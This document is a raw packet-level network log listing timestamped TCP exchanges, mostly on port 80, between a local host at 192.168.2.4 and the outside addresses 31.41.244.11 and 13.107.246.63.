Nov 22, 2024 04:12:12.709873915 CET	443	49765	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:12.711553097 CET	49765	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:12.711570978 CET	443	49765	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:12.712001085 CET	49765	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:12.712006092 CET	443	49765	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:12.750637054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.750718117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.750852108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.751085043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.751219034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.751285076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.752293110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.752432108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.752490044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.753482103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.753534079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.753575087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.754656076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.754708052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.754776955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.755053997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.755836010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.755943060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.755995989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.757030964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.757142067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.757194996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.758209944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.758261919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.758306026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.759048939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.759370089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.759423018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.759521961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.759646893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.760556936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.760622025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.760687113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.761086941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.761754990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.761888027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.761943102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.762948990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.763142109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.763197899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.764116049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.764167070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.764225006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.765304089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.765374899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.765407085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.766508102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.766562939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.766602039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.766650915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.767657995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.767776966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.767832041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.768852949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.768976927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.769026995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.770025015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.770076036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.770122051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.771048069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.771215916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.771267891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.771317005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.771369934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.772427082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.772479057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.772521973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.772572994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.773591995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.773643017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.773685932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.773732901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.774770021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.774816990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.774861097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.774912119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.775957108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.776051998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.776104927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.777139902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.777242899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.777296066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.778333902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.778384924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.778460026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.779048920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.779515028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.779565096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.779933929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.779989004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.780673027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.780725002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.780769110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.780819893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.781857967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.781924963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.781969070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.782021999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.783071041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.783175945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.783226967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.784225941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.784331083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.784380913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.785454035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.785510063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.785527945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.786583900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.786633015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.786694050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.787045956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.787812948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.787965059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.788019896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.788996935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.789108992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.789163113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.790194988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.790245056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.790324926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.791049004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.791367054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.791416883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.791460991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.791510105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.792534113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.792598963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.792639017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.792695045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.793699026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.793756008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.793802023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.793849945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.794923067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.794974089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.795001984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.796055079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.796108961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.796156883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.797076941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.797252893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.797364950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.797420025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.798432112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.798521042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.798576117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.799607992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.799657106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.799714088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.800801992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.800846100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.800889969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.801980972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.802042007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.802073956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.802122116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.803163052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.803267002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.803324938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.804346085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.804451942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.804517031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.805524111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.805576086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.805630922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.806348085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.806710005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.806761026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.806806087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.806855917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.807888031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.808005095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.808058977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.809079885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.809209108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.809266090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.810273886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.810326099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.810405016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.811048985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.811444044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.811495066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.811566114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.811616898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.812594891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.812648058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.951705933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.951775074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.951795101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.951860905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.952166080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.952213049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.050008059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.050122976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.071254015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.071266890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.071439981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.071623087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.071680069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.169688940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169702053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169707060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169893026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169904947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169914007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169924021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169934034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169943094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169953108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169960022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.169964075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169960022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.169960976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.169975996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169986963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.169997931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170006037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170006037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170010090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170022011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170031071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170034885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170053005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170053959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170063972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170072079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170074940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170088053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170092106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170099974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170110941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170115948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170123100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170139074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170149088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170156956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170156956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170160055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170172930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170188904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170207024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170207024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170207024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170217991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170228958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170231104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170243979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170248985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170253992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170253992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170258999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170270920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170284033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170285940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170285940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170294046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170310974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170316935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170321941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170337915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170361042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170363903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170380116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170391083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170399904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170409918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170414925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170424938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170427084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170439005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170444012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170450926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170461893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170464993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170475960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170485973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170491934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170495987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170510054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170511007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170511007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170523882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170530081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170536041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170547962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170553923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170558929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170571089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170583010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170584917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170593977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170605898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170604944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170615911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170624971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170631886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170644045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170644045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170655012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170661926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170670986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170674086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170681953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170694113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170697927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170703888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170716047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170726061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170736074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170744896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170747995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170747995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170754910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170768976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170778990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170787096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170794010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170806885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170806885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170816898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170825005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170829058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170840979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170847893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170852900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170864105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170869112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170875072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170886993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170890093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170897007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170908928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170919895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.170922995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.170947075 CET	49760	80	192.168.2.4	31.41.244.11
